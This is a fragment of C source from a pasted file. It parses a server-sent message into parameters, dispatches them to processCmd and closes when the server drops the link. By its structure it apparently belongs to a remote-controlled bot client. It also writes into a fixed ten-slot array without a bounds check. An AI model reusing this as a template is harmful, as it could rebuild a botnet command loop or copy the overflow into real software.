  1686.                     fdpclose(command);
  1687.                     exit(0);
  1688.                 }
  1689.  
  1690.                 unsigned char *params[10];
  1691.                 int paramsCount = 1;
  1692.                 unsigned char *pch = strtok(message, " ");
  1693.                 params[0] = command;
  1694.  
  1695.                 while(pch)
  1696.                 {
  1697.                     if(*pch != '\n')
  1698.                     {
  1699.                         params[paramsCount] = (unsigned char *)malloc(strlen(pch) + 1);
  1700.                         memset(params[paramsCount], 0, strlen(pch) + 1);
  1701.                         strcpy(params[paramsCount], pch);
  1702.                         paramsCount++;
  1703.                     }
  1704.                     pch = strtok(NULL, " ");
  1705.                 }
  1706.  
  1707.                 processCmd(paramsCount, params);
  1708.  
  1709.                 if(paramsCount > 1)
  1710.                 {
  1711.                     int q = 1;
  1712.                     for(q = 1; q < paramsCount; q++)
  1713.                     {
  1714.                         free(params[q]);
  1715.                     }
  1716.                 }
  1717.             }
  1718.         }
  1719.         printf("Link closed by server.\n");
  1720.     }
  1721.  
  1722.     return 0;
  1723.  
  1724. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement